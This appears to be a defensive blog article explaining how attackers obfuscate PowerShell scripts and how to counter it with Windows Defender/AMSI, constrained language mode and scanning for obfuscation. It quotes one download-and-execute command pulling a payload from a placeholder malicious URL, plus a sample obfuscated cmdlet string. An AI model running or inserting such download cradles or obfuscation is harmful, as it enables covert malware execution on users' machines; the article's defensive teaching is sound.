PowerShell script obfuscation: Fight back against this growing threat

In recent years, PowerShell has quickly become a go-to tool for hackers and malware authors. Although there are countless other tools that can be used to attack a system, PowerShell has one distinct advantage over most of the alternatives for those who have bad intent. Because PowerShell is a native component of the Windows operating system, a malicious PowerShell script is less likely to be detected than some of the other tools that the bad guys use. Although PowerShell can be an effective scripting tool for hackers, there is at least one big problem with its use. PowerShell scripts include commands that are displayed in clear text. This means that the intended victim can easily review a script’s contents before running the script. After all, most people probably aren’t going to run a script containing a command such as:

Invoke-Expression (New-Object Net.WebClient).DownloadString(http://<malicious URL.com>/evil-trojan)

That being the case, those who use PowerShell for malicious purposes have increasingly begun using script obfuscation techniques as a way of hiding the script’s commands.

On the surface, the idea of using script obfuscation to conceal malicious commands may sound really complex, but the basic idea behind these techniques is actually quite simple. The goal behind PowerShell script obfuscation isn’t to somehow make malicious commands invisible so that they evade detection, but rather to write the commands in a way that makes them very difficult to understand.

A simple example

Let me give you a really simple example. As I’m sure you probably know, PowerShell cmdlets are made up of verb-noun combinations. The command that I mentioned earlier, for example, uses the verb Invoke with the noun Expression. If you want to run the Invoke-Expression cmdlet, however, you don’t actually have to type Invoke-Expression. Microsoft provides aliases for many of the native PowerShell cmdlets. Aliases are simply cmdlet shortcuts. The alias for Invoke-Expression for example, is iex.

A PowerShell script that replaces long form cmdlets with aliases might be considered to be slightly obfuscated, because the aliases make the script more difficult to comprehend. If someone is not familiar with the aliases used, they would have to look up those aliases to figure out what the script does.

Of course the use of aliases will only do so much. Even if the previously mentioned command were rewritten to use an alias, it would still be easy to tell that the command is designed to download a malicious file. As such, most PowerShell obfuscation techniques work by using string manipulation techniques. The idea is to imbed a command in a string, and then use various manipulation techniques to render the string almost unreadable. The New-Object cmdlet for example, could be rewritten as: &(‘{1}{0}’-f’bject’,New-O’}.

Someone who is not well-versed in PowerShell would probably have a tough time figuring out exactly what that particular string means. Keep in mind that this is only one example of an obfuscation technique. There are many other ways to obfuscate PowerShell cmdlets. In fact, there is a tool available on GitHub called Invoke-Obfuscation. The tool’s job is to take a text string and show you various ways to obfuscate it.

Fighting back against PowerShell script obfuscation

So now that I have explained what script obfuscation is, and why it is used, the bigger question is how can you defend against these techniques? The most obvious answer to this question is that you should avoid running any script that has not been proven to be trustworthy. However, there are some other things that you can also do.

First and foremost, be sure to leave Windows Defender enabled. Windows 10 has a built-in feature called the Windows Antimalware Scan Interface, or AMSI. This interface is integrated into PowerShell as well as the Windows Script Host, JavaScript, VMScript, User Account Control, and Office VBA macros. This allows Windows to detect malicious code found within a PowerShell script.

To show you how this works, I pasted some potentially malicious PowerShell code into Notepad. As soon as I clicked the Save icon, immediately received Windows Defender warnings, as shown in the figure below.


It’s possible that heavily obfuscated code could slip past the antimalware engine, but in my own tests I have found it to be very effective at detecting malicious code.

Another thing that you can do is to enable constrained language mode. The basic idea behind using PowerShell’s constrained language mode is that you can make it so that PowerShell is able to run all the usual cmdlets, but is not able to leverage the .NET framework or external APIs. If other words, using constrained language mode can greatly limit the effectiveness of a malicious script.
I recently wrote a full-length article about how to use PowerShell’s constrained language mode, but I will go ahead and show you how to turn it on. You can enable constrained language mode by entering this command:

$ExecutionContext.SessionState.LanguageMode = “ConstrainedLanguage”

You can turn constrained language mode back off by using this command:

$ExecutionContext.SessionState.LanguageMode = “FullLanguage”

Not always easy to catch

A good rule of thumb is that if a PowerShell script includes commands that are heavily obfuscated, then that script should be considered to be malicious. Most people who develop legitimate code do not heavily obfuscate their commands. PowerShell script obfuscation is only used when the author has something to hide.

Unfortunately, deciding whether or not to run a script might not always be a matter of taking a quick look at the script’s code. I have personally seen PowerShell scripts that include thousands of lines of code. It would be completely impractical to scrutinize every single line in such a script.

Even so, there is something that you can do. If you happen to download a lot of PowerShell scripts from the Internet, then it may be worth your time to build your own script that scans each line of a downloaded script, looking for obfuscation. As previously noted, obfuscation comes in many different forms, but such a script could detect potential obfuscation by looking for an excessive number of brackets, apostrophes, or quotation marks within a line of code.

Featured image: Shutterstock / TechGenix illustration

Brien Posey

Brien Posey is a freelance technology author and speaker with over two decades of IT experience. Prior to going freelance, Brien was a CIO for a national chain of hospitals and healthcare facilities. He has also served as a network engineer for the United States Department of Defense at Fort Knox. In addition, Brien has worked as a network administrator for some of the largest insurance companies in America. To date, Brien has received Microsoft’s MVP award numerous times in categories including Windows Server, IIS, Exchange Server, and File Systems / Storage. You can visit Brien’s Website at: www.brienposey.com.

Share
Published by
Brien Posey

Recent Posts

IFA 2019: All the top smartphone announcements and unveilings

IFA 2019, this year’s version of the annual consumer electronics trade show, did not disappoint. Is one of these smartphones…

11 hours ago

Outlook connectivity: Troubleshooting and solving common issues

IT professionals all dread getting this fevered message from employees and clients: “I’m having Outlook connectivity issues!” Here’s what you…

16 hours ago

Using tags with Azure runbook automation to control your costs

Here’s a script designed to start and stop virtual machines based on tags associated at the resource group level. It…

19 hours ago

Software-defined perimeter solutions: Why this is the future of security

Traditional VPNs are showing their age in the modern cloud-powered workplace. That’s why software-defined perimeter solutions are in your future.

3 days ago

Why you need to check your virtualization host’s NUMA configuration

Should you disallow NUMA spanning in your Hyper-V architecture? There are two sides to this story, and you’ll get both…

4 days ago

Getting started with Visual Studio Code and integrating with Azure DevOps

Coding may not be the No. 1 job duty for cloud admins, but it is often a part of the…

4 days ago